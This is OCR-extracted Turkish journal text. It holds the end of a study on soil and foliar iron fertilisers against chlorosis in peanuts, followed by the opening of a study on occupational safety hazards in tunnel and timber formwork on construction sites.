uygulamalarinin dane biiyiikliigii ve meyve veriminde artma egilimi gosterdigini belirlemistir.
Dogan ve ark. (2007), yerfistiginda bakteri uygulamalarinin, bitkinin azot igerigi ve kok kuru
agirhigim arttirdigini, demir uygulamalarinin ise biyomas agirligi ve bitkinin azot alimina
iligkin degerleri 6nemli derecede yiikselttigini belirlemistir. Bir ¢calismada, perlit ortaminda
yetistirilen domates bitkisinin yapraklarinda toplam ve aktif demir igerikleri ile klorofil
miktarlarinin demir uygulamalarma bagli olarak arttigi saptanmigtir. Ayrica, potasyum ve
demir elementlerinin artan dozlarinin bitkinin kuru madde verimini ytikselttigi bildirilmistir
(Okturen ve Sénmez, 2009).

Kheravat ve ark., (2020), (KVK)-Bikaner- 2 yerfistig1 ¢esidine ekimden 45 ve 60 giin
sonra olmak iizere iki kez ferro siilfat %0.5 + %0.1 sitrik asit i¢eren yaprak giibresini 6nerilen
dozda uygulamis ve incelenen o6zelliklerden bakla/bitki, tohum/bakla ve verim/ha kriterleri
demir uygulamasindan 6nemli derecede etkilenmistir. Bitkide en yiiksek verim 2713 kg/ha
olarak kaydedilmistir. Demir uygulamasi ile ortalama verim artis1 ¢ift¢i uygulamalarina gore
%18,73 artmistir. Yerfistiginda mikro besin elementlerinin yesil aksam gelisimi ile dane

verimini arttirdig1 (Moussa ve ark., 1996), Fe-EDDHA formunda yiiksek demir dozlarimin (10
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ve 25 mg/kg) fizyolojik biyomas birikimi ve yaprak alanini azalttigi, FexN interaksiyonunun
tim parametreler i¢in 6nemli oldugu (Ali ve ark., 1998) belirlenmistir. Yerfistiginda Fe-
EDDHA formundaki yaprak giibresinin klorozu biiyiik dl¢iide iyilestirdigi buna karsin ferrik
sitratin klorotik bitkilerde demirin mobilizasyonunu azalttig1 i¢in benzer bir etki gostermedigi
bulunmustur. IAA igeren bir yaprak gilibresinin ise demirin yarayigliligmi ve her iki
formiilasyonunda hem toprak ve hem de yapraktan uygulanmasinin verimi 6nemli bigimde
arttirdig1 saptanmistir (Singh ve Sahu, 1993).

Farkli yerfistig1 cesitlerinde kire¢ kaynakli demir eksikligi klorozuna karsi1 yaprak ve
topraktan Fe uygulamasi ile Fe-yeterli ve Fe-yetersizlik, Fe emilim kapasitesi ¢esitlere gore
degismistir. Demir uygulamalari LGN-2 c¢esidinde aktif Fe icerigini %5,6 ve CSMG-84-1
cesidinde ise %163,18 oraninda arttirmigtir. Yaprak giibresi olarak FeSOs uygulandiginda
klorofil igeriginde (%10) ve nitrat rediiktaz aktivitesinde (%110) 6nemli bir artis gézlenmistir.
Demir noksanliginda 6nemli bir lipid peroksidasyon zarari meydana gelmis ve bu zarar
yaprak giibresi ve topraga Fe takviyesi ile Tirupati-4'te %37 ve CSMG-84-1'de %16,67
oraninda diizelmistir. Yerfistig1 genotipleri, iyon absorpsiyon kapasitesi ve kloroz diizeyine
gore tolerant, kismen tolerant ve demir klorozuna hassas olarak gruplandirilmistir (Mann ve
ark., 2017). Frenkel ve ark. (2004), entansif tarimda bitkilerde goriilen klorozu gidermek igin
organik kompostlar, dogal selatlar ve sentetik selatlar gibi degisik uygulamalarla ¢6ziim
arayislariin siirdiigiind, yerfistig1 bitkilerinin hizli biliyidiigiinii ve kire¢ orani yiiksek
topraklarda yetistirildiginde kloroz ortaya ¢iktigini belirtmislerdir. Fe noksanlig1 klorozuna
karsi FeEEDDHA selatlarin etkinligini belirlemede en iyi ¢esidin David oldugunu ve tarlada
giibre bulunmadiginda ekimden bes hafta sonra siddetli klorozun olustugu, fakat FEEDDHA
uygulandiktan 10 ila 12 giin sonra klorozun tamamen iyilesebildigi belirlenmistir.

Cukurova Bolgesi’nde demir kloruzunun en fazla goriildiigii Osmaniye ilinde 1999-
2000 yillarinda ti¢ lokasyonda yerfistiginda farkli formda demir uygulamalarinin verim ve
kalite iizerine etkilerini belirlemek iizere yapilan calismada meyve verimi, 100 dane agirligi,
bitkide meyve sayist yoniinden en yiiksek degerlerin ekimden 6nce selat ve mineral demirin
topraga uygulanmasindan elde edildigi, ancak uygulamalarin hi¢ birinin tohumda yag, ve
demir igerigine etkili olmadigi bildirilmistir (Yenikalayci ve ark., 2007).

Kahramanmaras Pazarcik ilgesinde demir kolorozuna hassas NC-7 yerfistig1 cesidinde
kirecli topraklarda farkli gelisme donemlerinde yapraktan demir selat (EDDHA NaFe)
uygulamasinin bitki basina meyve sayist (adet/bitki) ve meyve verimi (kg/da) iizerine
etkisinin 6nemli, meyvede dane sayisi, 100 dane agirligi, 100 meyve agirligi, i¢ orani, yag ve

protein orani lizerine etkisinin onemli olmadig1 bulunmustur (Kiir ve ark., 2019).
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Demir uygulamasimin yerfistiginda (Arachis hypogaea L.) azot ve demir igerigi, alimi
ve kalite parametreleri lizerindeki etkisini belirlemek icin yliriitiilen ¢alismada 25 kg/ha
FeSO4 ve 5 ton/ha ciftlik gilibresinin topraga uygulamasini takiben ekimden 45 ve 75 giin
sonra + yaprak giibresi olarak %0,5’lik FeSOs + %0,1'lik sitrik asit uygulanmasinda
tohumdaki azot, protein ve demir igeriginin onemli Ol¢lide arttigi, yag iceriginin bundan
etkilenmedigi bildirilmistir (Poonia ve ark., 2018). Farkli yerfistig1 c¢esitlerinde bakteri
astlamast ve demir uygulamalarinin nodiilasyon ve verime etkisini arastirmak amaciyla
yaptiklar1 c¢aligmada; nodiilasyon, biyomas ve g¢esitli aksamlarin N igeriklerinde bakteri
asilamasia bagli herhangi bir etki gostermemis, demir uygulamasina bagli olarak ise
incelenen parametrelerde ¢iceklenme ve hasat donemine ve denemede kullanilan yerfistig
cesitlerine bagli olarak farkl etkiler goriilmistiir (Giivercin ve Gok, 2022).

Cukurova Bolgesi’'nde, yerfistigi ekilen topraklar genelde toplam demir igerigi
yoniinden zengin olmakla beraber yiiksek pH, CaCOs ve diisiik humus igeriginden dolay1
demir elementini bitkiler topraktan alamamakta, kloroz meydana gelmekte ve verimi ciddi
sekilde diisirmektedir (Kacar, 1984). Bu c¢alisma yerfistiginda kirecli ve demir klorozu
goriilen {iretim alanlarinda ¢o6ziintirliigli ve etkisi degisen, farkli formlardaki demirli
bilesiklerin topraga ve yapraga uygulanmasinin nodiil olusumu ve kloroz {izerine etkilerini

arastirmak amaci ile yapilmistir.

Materyal ve Metot

Calismanin bitkisel materyalini Virginia grubundan, yari yatik biiyiime formunda, orta
erkenci ve Cukurova bdlgesinde yaygin olarak yetistirilen NC-7 yerfistigi ¢esidi
olusturmustur. Giibre olarak topraktan demir uygulamalarinda ekim Oncesi mineral demir
[Pirit:(FeS2) %23S, %35Fe] ve yapay demirli preparat [%6 Fe EDDHA (etilendiamin-
dihidroksifenilasetikasit) selati] uygulanmigtir. Demir yaprak giibresi olarak %10 Fe igeren
EDTA (etilendiamintetraasetikasit) selat formundaki sivi yaprak giibresi ve %13,2 Fe EDTA
(etilendiamintetraasetikasit) selat formundaki toz yaprak giibresi kullanilmistir.

Osmaniye’nin Kadirli ilgesi’nde yiiriitiilen bu ¢alismada tarla denemeleri 1999 yilinda
tek ve 2000 yilinda ise iki lokasyonda, tesadiif bloklar1 deneme desenine gore ii¢ tekrarlamali
olarak kurulmustur. Dekara 6 kg saf azot ve fosfor gelecek sekilde amonyum siilfat
[(NH4)2S04] ve siiper fosfat [CaHPO4+CaS04] giibreleri uygulanmis ve ekim dncesi tohumlar
Rhizobium leguminosarum ile inokiile edilmistir. Denemede tohum ekim mesafesi 70x25 cm

olarak uygulanmis ve parsel boyutu 2.8x5=14 m? olmustur.
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Demir giibreleri ekimden Once topraga ve ekimden sonra yapraga uygulanmistir. Ekim
oncesi 100 kg/da dozunda mineral demir [Pirit:(FeS2) %23S, %35Fe] ve 500 g/da dozunda da
yapay demirli preparat [%6 Fe EDDHA (etilendiamindihidroksifenilasetikasit) selati] ilgili
parsellere uygulanmistir. Demir yaprak giibresi toz ve sivi formlarda yapraktan uygulanmaistir.
Birinci (I.) yaprak giibresi %10 Fe iceren EDTA (etilendiamintetra asetikasit) selat
formundaki siv1 yaprak giibresi olup 100 mL/da dozunda 100 L su ile uygulanmstir. Ikinci
(IL.) yaprak giibresi %13,2 Fe EDTA selat formundaki toz yaprak gilibresi olup 200 g/da
dozunda 50 L su ile karistirilarak onerilen dozlarda uygulanmistir. Yaprak giibresi ekimden
30, 60, 90 giin sonra ve bunun degisik kombinasyonlar1 (30+60, 30+90, 60+90, 30+60+90
giinlerde) seklinde uygulanarak, kontrol dahil toplam 17 farkli uygulama iizerinde
calisilmistir. Deneme alaninin toprak analizine gore; ilk (1999) yil i¢in 0-20 ve 20-40 cm
toprak derinliginde bitkiye yarayigli demir oran1 sirasi ile 6 ppm ve 8,4 ppm, pH derecesi ise
yine aym derinliklerde 8,28 ve 8,69 olarak &l¢iilmiistiir. Ikinci (2000) yilda ise 0-20 ve 20-40
cm toprak derinliginde bitkiye yarayisli demir orani sirasi ile I. lokasyonda 8,9 ppm ve 10,1
ppm, Il. lokasyonda 5,6 ve 6,2 ppm olarak belirlenmistir. Deneme alani topragimin pH
derecesi ise yine ayni derinliklerde ilk lokasyonda 7,86 ve 7,90, Il. lokasyonda 7,87 ve 7,96
olarak kaydedilmistir. Denemede protein igerigi ve koklerde nodiil olusumu o6zellikleri

incelenmistir.

Bulgular ve Tartisma

Koklerde Nodiil Agirhig: (g/bitki)

Bitki basina en yiiksek nodiil agirligi degerleri; ilk yil kontrol parsellerinde 1,80 gr/bitki,
2000 yil1 I. lokasyonda 0,4642 g/bitki ile siv1 yaprak gilibresinin 30+60. giin uygulamasindan,
Il. lokasyonda ise 0,361 g/bitki ile sivi yaprak giibresinin 60+90. giin uygulamasindan
almmistir. En diisiik nodiil agirligr degerleri 1999 yilinda 0,51 gr/bitki ile sivi yaprak
giibresinin 30+60+90. giin uygulamasindan elde edilmistir (Tablo 1.). ikinci y1l I. lokasyonda
0,1362 g/bitki ile toz yaprak giibresinin 60. giin ve II. lokasyonda 0,0010 g/bitki ile demir
selat uygulamasindan alinmistir. Bitkide nodiil olusumu ile demir giibrelemesi arasinda bir
iliski olduguna dair bulguya rastlanmamistir. Preeda ve ark. (1990)’nin bulgularina benzer
sekilde yiiriitiilen tarla denemelerinde, demir eksikliginin yerfistiginda nodiil olusumunu
kisitladigr goriilmiis ancak demir giibrelemesi ile nodiil olusumunda artis saglanamamustir.
Toprakta demir igerigi yiiksek olana kiyasla diisiik olan lokasyonda nodiil olusumu da daha az

olmustur. Yapilan farkli caligmalarda, kloroza karsi demir uygulamalarinin yerfistig
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bitkisindeki reaksiyonunun ¢esitlere gére degistigi bildirilmistir (Frenkel ve ark., 2004; Mann
ve ark., 2017; Giivercin ve Gok, 2022).

Tablo 1. Farkli formlardaki demir giibrelerinin yerfistig1 koklerinde nodiil agirligi (g/bitki) ve tanenin protein

(%) igerigine iligkin ortalama degerleri

Nodiil Agirhig: (g/bitki) Tohumun Protein Igerigi (%)
Uygulamalar 2000 Yili 2000 Yili 2000 Yili 2000 Yilt
1999 Y1ili 1999 Yili

I. Lok. I1. Lok. I. Lok. I1. Lok.
Kontrol 1,80 0,3036 0,0017 21,73 26,17 bcde 26,06
Demir Selat (Topraga) 1,76 0,4199 0,0010 20,90 25,76 de 25,84
Mineral Demir (Topraga) 1,07 0,3976 0,0072 21,31 26,72 abc 25,50
Sivt Y. G. 30. Giin 1,60 0,2236 0,0014 21,37 25,60e 25,55
Sivt Y. G. 60. Gin 0,75 0,2767 0,0024 20,23 25,96 cde 25,69
Siv1Y. G. 90. Giin 0,97 0,3656 0,0084 21,13 25,67e 24,96
Sivt Y. G. 30+60. Giin 1,33 0,4642 0,0212 21,94 25,82 de 24,63
Sivt Y. G. 30+90. Giin 1,53 0,2508 0,0170 22,46 25,95 cde 24,83
Siv1Y. G. 60+90. Giin 0,98 0,3813 0,0361 20,96 25,86 de 25,34
Siv1Y. G. 30+60+90. Giin 0,51 0,2439 0,0057 21,67 26,54 abcd 25,50
Toz Y. G. 30. Giin 0,56 0,3466 0,0055 20,86 27,27 a 25,22
Toz Y. G. 60. Giin 0,74 0,1362 0,0019 21,10 26,89 ab 25,21
Toz Y. G. 90. Giin 1,38 0,2297 0,0042 20,98 26,79 ab 24,88
Toz Y. G. 30+60. Giin 1,37 0,3282 0,0249 20,90 27,11a 24,73
Toz Y. G. 30+90. Giin 1,04 0,3062 0,0165 22,13 26,75 abc 24,67
Toz Y. G. 60+90. Giin 1,17 0,2777 0,0035 21,77 26,85 ab 25,60
Toz Y. G. 30+60+90. Giin 0,85 0,2404 0,0028 21,08 26,69 abc 25,08
LSD 0.D O.D. O.D. 0O.D. 0,8148 0.D.

*Aym harflerle gosterilen uygulamalar arasinda Duncan testine gére P<0.01 diizeyinde fark yoktur. O.D.: Onemli Degil

Tohumda Protein Icerigi (ppm)

Tohumda en yiiksek protein icerigi degeri Tablo 1’de goriildiigi gibi ilk yil %22,46 ile
stvi yaprak giibresinin 30+90. giin uygulamasindan elde edilmistir. Ikinci yil 1. lokasyonda
%27,27 ile toz formlu yaprak giibresinin 30. giin ve II. lokasyonda %26,06 ile kontrol
uygulamalarindan alinmistir. Protein igerigi yoniinden en diisiik degerler sivi formlu yaprak
giibresinden elde edilmistir. Bu degerler, ilk yil (1999) %20,23 ile 60. giin ve 2000 yili L.
lokasyonda %25,60 ile 30. giin, II. lokasyonda ise %24,63 ile 30+60. giin uygulamalarindan
alinmistir. Ydriitiilen tarla denemelerinde, farkli form ve zamanlarda uygulanan demir
giibrelerinin tanenin protein igerigi iizerine belirgin bir etkisinin olmadigi sonucuna
ulasilmistir. Yerfistiginda demir giibrelemesi ile tanenin protein igeriginin arttigma dair

bulgulara Maya Raut (1999)’un bildirdigi gibi bu calismada da rastlanmamistir. Bu durum;
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tarla denemelerinin yiriitiildiigli lokasyonlardaki topraklarin asir1 bir demir eksikligine sahip
olmamalarindan kaynaklanmis olabilir. Demir noksanligina hassas NC-7 yerfistig1 ¢esidinin
farkli gelisme donemlerinde, farkli dozlarda ve bunlarin kombinasyonlari seklinde uygulanan
graniil demir selat (%6 EDDHA-Fe) giibresinin bitki basina meyve sayist (adet/bitki) ve
meyve verimi (kg/da) iizerine etkisinin 6nemli, diger 6zellikler (meyvede dane sayisi, 100
dane agirligi, 100 meyve agirligl, tohum orani, yag ve protein orani) iizerine etkisinin 6nemli

olmadigi belirlenmistir (Kiir ve ark., 2019).

Sonuc ve Oneriler

Cukurova Bolgesinde yerfistiginin yogun olarak ekildigi Osmaniye’nin Kadirli
Ilgesi’nde toprak yapisi genelde kiregli ve pH:7,5’dan yiiksek oldugu icin kloroz sorunu
yaygin olarak ortaya ¢ikmakta, bu durum verim ve kaliteyi 6nemli 6l¢lide diisiirmektedir.
Kadirli ilgesinde bolgenin standart ¢esidi NC-7 kullanilarak iki ¢ift¢i arazisi ve iki yetistirme
sezonu boyunca ilk yil tek lokasyon, ikinci yil iki ayr1 lokasyonda yiiriitiilen bu calismada;
yapraktan yapilan demir giibresi uygulamalarinda, bitkilerde kloroz 15-20 giin gibi belirli bir
stire diizelmis, ancak sonra yapraklar eski haline donmiistiir. Yerfistiginda yaprak giibrelerinin
kloroz tizerine etkisi kalict olmamustir. Topraktan yapilan demir giibrelerinde ise kloroza karsi
kalici bir etki goriilmistir. Yerfistiginda demir uygulamalarinin bitkide nodiil olusumu
iizerine belirgin etkisi goériilmemekle birlikte demir icerigi diisikk olan lokasyonda dogal
olarak bitkilerde nodiil olusumu da ¢ok diisiik olmustur. Demir igerigi yoniinden en diisiik
degere sahip ikinci yil II. lokasyonda, bitkide nodiil agirligi degerleri de digerlerinden asiri
derecede diisiik ¢ikmistir. Ekim Oncesi topraktan ve ekim sonrasi yapraktan yapilan demir
giibresi uygulamalarimin  nodiilasyonu etkilemedigi belirlenmistir. Tohumun protein
iceriklerine toprak ve yapraktan uygulanan demir giibrelerinin belirgin bir etkisi
saptanmamigtir.

Calismadan elde edilen bulgulara gore, Cukurova Bolgesi’nde kirecli topraklarda ortaya
cikan demir klorozuna karsi, ekim oncesi topraga Fe-EDDHA selat1 veya mineral demir (pirit)
uygulamasinin en etkili yontem oldugu sdylenebilir. Bu ¢alismanin bir boliimiinii olusturan
Yenikalayci ve ark., (2007) bildirisinde de NC-7 yerfistig1 ¢esidinde meyve verimi, 100 dane
agirhigl, bitkide meyve sayist yoniinden en yiiksek degerlerin ekimden once selat ve mineral
demirin topraga uygulanmasindan alindigini belirtmislerdir. Sonu¢ olarak, Fe klorozuna
dayanikli yeni yerfistig1 cesitlerinin gelistirilerek bolge ¢iftgisine sunulmasinin uzun vadeli

¢ozlim olacagi kanisina varilmstir.
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Yap1 sektoriinde kalip asamasi, is sagligi ve giivenligi agisindan gesitli ve
o6nemli riskler igerir. Bu g¢alisma, yapimi devam eden biiyiikk ¢apli konut
santiyesinde, tiinel kalip ve ahsap kalip ekiplerinin maruz kalabilecegi tim
tehlike kaynaklarini sahada tespit edilmesi ve alinmasi gereken onlemleri
icermektedir. Biiyiilk capli konut projelerinde taahhiit edilen siirelerde
inganin teslim edilebilmesi icin; ekiplerin es zamanli ve olagandan hizli
calismasi gerekmektedir. Bu durum mevcut tehlikelere ek olarak bagka
tehlikelerinde olugmasina neden olmaktadir. Ahsap kalip ve tiinel kalip
ekiplerinin saha alanindaki santiye kurulumundan, is bitirmelerine kadar
olan siiregte maruz kalinabilecek tehlikeler degerlendirilmistir. Kalip
sistemlerinde yiiksekte ¢alisma ve kaldirma operasyonlarindaki tehlikeli
durumlarin en basta gelen tehlikeler oldugu goriilmiis ve insaatin tiim
asamalarinda is saglig1 ve glivenliginin 6nemi ortaya konulmustur.
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The formwork phase in the construction industry involves various and
significant risks in terms of occupational health and safety. This study
includes the identification of all sources of hazards that tunnel formwork and
timber formwork teams may be exposed to in the field and the precautions to
be taken in a large-scale housing construction site under construction. In
large-scale housing projects, teams are required to work simultaneously and
faster than usual in order to deliver the construction within the committed
deadlines. This situation causes additional hazards in addition to the existing
hazards. The hazards that the timber formwork and tunnel formwork teams
may be exposed to during the process from the site set-up in the field area to
the completion of the work were evaluated. It has been seen that hazardous
situations in working at height and lifting operations in formwork systems are
the leading hazards and the importance of occupational health and safety in
all stages of
construction has been revealed.

To Cite: Aktas E, Sabir EC., 2024. Bina yapiminda kullanilan tiinel ve ahsap kalip sistemlerinin is giivenligi yoniinden

incelenmesi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 28-47.
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Giris

Sanayilesme siireciyle is kazalari ve meslek hastaliklarinda da artislar baglamstir.
Sanayilesmedeki gelismelerden otiirii is siireclerinde gelismeler yasanmis bu gelismeler
personel sayilarinda artislara sebebiyet vermistir. Personel sayilarindaki artis is Sagligi ve
Giivenliginin  (ISG) gerekliliginin anlasilmasim saglamistir. Once calisanin sagligi ve
giivenligi anlayis1 ile isciye yonelik tedbirler alimasi gerekliligini ortaya cikarmustir. s
giivenligi kavrami, ¢alisanlarin glivenligi i¢in isyerinden kaynakli veya isyeri disindan
meydana gelebilecek tehlike kaynaklarmin belirlenerek, belirlenen tehlikelere yonelik
Onleyici tedbirlerin alinmasi basta saglanmak tizere dolayli olarak isletmede giivenlik
onlemleri alinmasi ve tiretimde devamliligin saglanmasidir (Miingen, 2009).

28602 Sayili Resmi Gazete *de yaymlanan ISG teblig listesine gore; Yapi sektdriinde
gerceklestirilen ¢alismalar, ¢ok tehlikeli sinif olarak degerlendirilmektir. Is kazasi oranlarina
bakildiginda, ¢alisma alanlari icerisinde insaat alanlarinda yasanilan kazalarin oldukga yiiksek
bir orana sahip oldugu goriilmektedir (Anonim 2013b). insaat sektérii is¢i istihdaminin yogun
olarak saglandig1 ve yasam boyunca da ihtiyacin devamliliginin olacagi bir alandir.

Insaat alanlar1 cok tehlikeli sinifta yer almasi ve calisan sayisiin da fazla olmasi is
kazalarinin sik goriilmesine neden olmaktadir (Gilinay ve Onat, 2020). Giiniimiizde bir¢ok
ingaat sahasinda is¢ilerin yevmiye usulii ve sigortasiz calistiklart ne yazik ki bilinen bir
gercektir. Sosyal Gilivenlik Kurumu (SGK) verilerinde sadece sigortali personel kaydi
tutulmasi gibi durumlarda maalesef rakamsal olarak gergek sayilar1 yansitmamaktadir. Ingaat
alanlarindaki kayitlarda bulunan veriler bile alanlarindaki g¢aligmalarin tehlike boyutunu

gozler oniine sermektedir.

Tablo 1. is kazalar1 ve 6liim sayilart (Anonim 2022).

Tiim sektérler Insaat sektorii Oliimlii Kazalar
Yil kaIZZSI Olim Yiizde | iskazasi Oliim Yiizde Se{g;;‘ler Sl:lf;artu Yiizde
2015| 241547 1252 %0,52 | 33361 473 %142 1252 473 %37,78
2016 | 286068 1405 %049 | 44552 496 %1,11 1405 496 %35,3
2017| 359653 1633 %0,45| 62802 587 %0,93 1633 587  %35,95
2018| 430985 1541 %0,36| 77157 591 %077 1541 501 938,35
2019 | 422463 1147 %027 | 47701 368 %0,77 1147 368 932,08
2020 | 394605 1240 %0,31| 44334 349 %0,79 1240 349 %28,15
2021 | 384242 1231 %0,32 | 44304 347 %0,78 1231 347 %28,19

SGK’nin her yi1l yayinladig1 is kazasi yilliklarindan elde edilen, is kazalar1 ve oliimle

sonuclanan is kazalarinin sayilar1 Tablo 1’de verilmistir.
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2015-2021 yillar1 arasindaki is kazasi 6liimlerinin minimum %28 nin ingaat sektoriinde

meydana geldigi goriilmiistiir. Oliim oranlar1 gdz Oniine alindifinda insaat islerindeki
mevzuatlar ve degisen sartlara gore giincellemenin dnemi de goriilmektedir. 2013 yilinda
Yap: Islerinde Is Saglig1 ve Giivenligi Yonetmeligi ile yap: islerine yonelik diizenlemeler
yapilmistir. Yapi Islerinde Is Sagligi ve Giivenligi Yonetmeligi’nin 1. maddesine gore “Bu
Yonetmeligin amaci, yapr islerinde alinacak asgari is sagligi ve gilivenligi sartlarini
belirlemektir’’ olarak ifade edilmektedir (Anonim 2013a). Taze beton belirli bir sekil almasi i¢in
bir form i¢inde bekletilir. Beton bu form i¢inde sertlesir ve mukavemet kazanir. Beton i¢in bu
forma “kalip” denir (Altan, 1992). Kaliplar, taze dokiilmiis betonun istenilen forma girmesini
saglayan ve beton prizini alana kadar destekleyen yardimci ingaat malzemeleridir (Tiirken ve
ark., 2011). Kalip sistemi se¢iminde kalip malzeme se¢imi de uygulanacak proje tiiriine ve
kalibin kullanim sayisina gore de degisiklik gostermektedir (Bamyaci, 2017). Kaliplar imal
edildigi materyale gore; ahsap, kontrplak, celik ve plastik olarak smiflandirilirlar bunun
yaninda kullanim tarzlarma goére de modern ve klasik kalip sistemleri olarak da
siiflandirmalar yapilmaktadir.
Ahsap Kalip: Ham maddesi tamamen ahsap olan kalip sistemlerine ahsap kalip denmektedir.
Bu kaliplarda dikmesinden dosemesine kadar her yerde kereste malzeme kullanilir. Ahsap
kalip sistemlerinin bircok tercih edilme sebepleri vardir. Ilk yatirim maliyetlerinin diisiik
olmasi, kullanilan ahsap malzemenin kolaylikla temin edilebilmesi, calisilan ortamda
kolaylikla montajinin yapilabilmesi ve makine ihtiyacinin az olmasi bakimindan tercih
edilmektedir (MEGEP, 2018). Ahsap malzeme su alan yapiya sahip oldugundan ¢oklu tekrar
kullanimina uygun degildir. Bu sebeple plywood kullanimi ile ya da ahsabin yaglanmasiyla
bu sorunun oOniine ge¢ilmeye c¢alisiimaktadir. Alanda projeye uygun olarak imalati
yapilabilmektedir, bu projeye esneklik saglayabiliyorken, kalibin imal edilmesi zaman
almakta ve iscilik gerektirmektedir. Ahsap kaliplar dokiilecek betonu, malzemeyi vb. tiim
kosullar goz oOniinde bulundurularak tasiyacak dayaniklilikta olmalidir. Ekonomik bir
uygulamadir, fakat biiylik konut yapimi vb. islerde siire¢ igerisinde is¢ilik ve zaman istemesi
sebebiyle uzun vadede maliyetli olmaktadir. Bu sebeple kii¢iik yapilarla, toplu konutlasma vb.
biiyiilk yapilarda ise tiinel vb. ¢aligmalarda, is¢ilik gerektiren yerlerde uygulanmasi daha
yaygin goriilmektedir.

Tiinel Kalp Sistemi: Tiinel kalip, duvar ve ddsemelerinin, kesin boyutlu ve diizgiin
yiizeyli ¢elik kaliplarla bir kerede, tek parga olarak dokiilebildigi sistemdir (Anonim 2007).
Tiinel kalip, yataydaki ve diiseydeki elemanlarin betonunun ayni siiregte teminini saglayan,

projeye uygun boyutlarda imal edilen, is¢iligi azaltan, hizl1 yapilagmaya olanak saglayan bir
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sistemdir. Pahali bir sistemdir bu sebeple gider ilk etapta fazla olmaktadir. Agir olan kalibin
montaj1 ve de montaj isleminde ving kullaniminin zorunlu olmasi, kaliplarin eski tip kaliplara
oranla maliyetli olmasi kii¢iik insaatlarda maliyet yliksekliginden dolayi tercih edilmemesine
neden olmaktadir. Kaliplarin boyutu projeye uygun olarak belirlenerek imal edilir ya da
iiretim siirecinin maliyetinin yiiksek olacaginin diistiniilmesi durumunda ise kalip boyutlarina
uygun projelendirme yapilmaktadir. Tiinel kaliplarin; tam ve yarim tiinel kalip olarak
genellikle iki tip kullanimi goriilmektedir. Tam tiinel kaliplar ile yarim tiinel kaliplar ebat
olarak farklilik gdstermesine karsin yarim kaliplarin birlestirilmesi islemleri ile aralarinda
farklilik olusmamaktadir. Tam tiinel kaliplar daha agirdir ve déseme yogunlugu daha fazla
olabilmektedir. Yarim kaliplarin ise birlestirilme Oncesi arasina uygun kalip ekipmanlari
yerlestirilerek farkli agikliklar elde edilebilmektedir. Kurulum ve sokiim agamalarinin iglem
adimlart yarim kaliplarin daha fazladir, fakat tam kaliba gore daha basit islemlerdir. Son
zamanlarda en rasyonel ¢oziim olarak kabul edilen bu sistem, sanayilesme ve niifus artiginin
dogal sonucu olarak biiyliyen kentlerimizin yaninda, diisey biiylimelerinde kaginilmaz oldugu
sehir merkezlerinde siirat ve ekonomikliginin yan1 sira dayanim, kalite ve estetigi de
biinyesinde tasiyan ileri yapim teknolojilerinden biri olarak goriilmektedir (Altan, 1992).
Glinay ve Onat (2020), insaat sektOriinlin caligsanlar i¢in is¢i sagligir ve gilivenligi acisindan
risklerin ¢ogunun kalip sistemlerinde meydana gelen kazalarin olusturdugunu ve kazalarin
onlenebilmesi i¢in kalip sistemlerinin iyi analiz yapilmasi ve bdylece tehlikelerin en aza
indirilmesinin saglanabilecegini belirtmislerdir.

Calisma klasik yontem kalip sistemlerinden ahsap kalip sistemi ile modern kalip
sistemlerinden olan tiinel kalip sistemi i¢in gerceklestirilmistir. Kullanilan kalip
sistemlerinden kaynakli tehlike kaynaklari tespit edilmis ve diizeltici/Onleyici tedbirleri
belirlenmistir. Literatiir incelendiginde, insaat alanindaki tehlike kaynaklari ve ¢ozliim
onerileri ile ilgili birgok calisma oldugu fakat, tiinel kalip ve ahsap kalip uygulamalarina
yonelik caligsmalarin sadece yaptiklart isler goz Oniinde bulundurularak tehlike kaynaklari
tespit edilmistir. Calismamizda santiye alanin kurulumundan, kalip ekiplerinin is bitimine
kadar maruz kalabilecekleri tiim ¢evresel etkilerde géz Oniine alinarak tehlike kaynaklar

saptanmis ve buna yonelik diizeltici nleyici tedbirler belirtilmistir.

Materyal ve Metot
Calisma, Elazig ilinde yapimi devam eden biiylik ¢apli konut ingaati sahalarinda, 11
etapli 29-30 bloklu konut insaat isletmelerinde gerceklestirilmistir. Incelenen insaat

alanlarinda is yapim siirecinin genellikle kisa olmasi sebebiyle bloklarin imalatinda tiinel
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kalip sistemi kullanilmistir. Tiinel kalip ile yapilamayan, is¢ilik isteyen alanlarda ise ahsap
kalip kullanilmistir. insaat siireci devam eden firmalarin saha alanlarinda, dogrudan gozlem
yoluyla incelemeler yapilmistir. Elde edilen bilgiler 1s181inda bolgede yapilan konutlar detayli
incelenerek saha gozlemleri ile uygunsuzluk saha raporlar1 olusturularak, diizeltici/6nleyici

tedbirler belirtilmistir.

Bulgular ve Tartisma

Yap: (ingaat) alanlarinda birgok tehlike kaynagi mevcuttur. Tiinel ve ahsap kalip
ekiplerini sadece yaptiklart islerden kaynakli tehlikelerle sinirlamak, tehlike kaynaklarini
belirlemede yetersiz kalmaktadir. Ciinkii ¢alisma alanlarindan ve sosyal alanlarindan kaynakli
tehlikelerden de etkilendikleri goriilmektedir. Bu sebeple ekiplerin maruz kalabilecegi
tehlikeler, incelenen biiylik 6lgekli bina (konut insaat1) yapim sahasina gore belirlenmistir. Bu

sekilde toplam 14 adet tehlike kaynagi belirlenmistir:

Santiye Kurulum
Kisisel Koruyucu Donanimlar
Is Makineleri Kullanim1
Kazi Isleri
Kaldirma Operasyonlari
Beton Dokiimii
Elektrikli Ekipman, Makine, El Aletleri ile Calismalar
Merdivenler
Yiiksekte Calismalar
. Ttinel Kalip Kurulum, Calisma, S6kiim Calismalar
. Basin¢li Gaz Tiipleri
. Ahsap Kalip Kurulum, Calisma, Sokiim
. Sosyal Tesisler
14. Diger

e N

el el
WN kO

Insaat sahalarinda yapilan incelemeler sonucunda, belirlenen tehlike kaynaklari tablolar
araciligiyla agiklanmigtir. Tablolarda tehlike kaynaklari, ilk siitun sahada gozlemlenen riskler,
ikinci siitunda gozlemlenen risklerin fotograflar1 ve {iglincli silitunda ise bu riskleri

diizeltici/6nleyici bilgiler yer almaktadir.
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Tablo 2. Santiye kurulum aragtirma bulgular1 ve ¢6ziim 6nerileri

Uygunsuzluk/Go6zlem
Aciklama

Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Insaat gevresinin cevrilmemis |@

olmasi

Tim insaat cevresinin saglam ve 2 metre
yiikseklikte uygun malzeme ile g¢evrilip
iizerine gerekli ikaz levhalari asilmalidir.
Insaat alanina gorevli olmayan kisilerin,
yabani hayvanlarin girisi engellenmelidir.

Yollarin planlanmamast

Yollarin planlamasi calismalar baslamadan
yaptlmalidir.  Yollar araclarin  manevra
alanlari, trafik akigi, caligma alanlar1 vb.
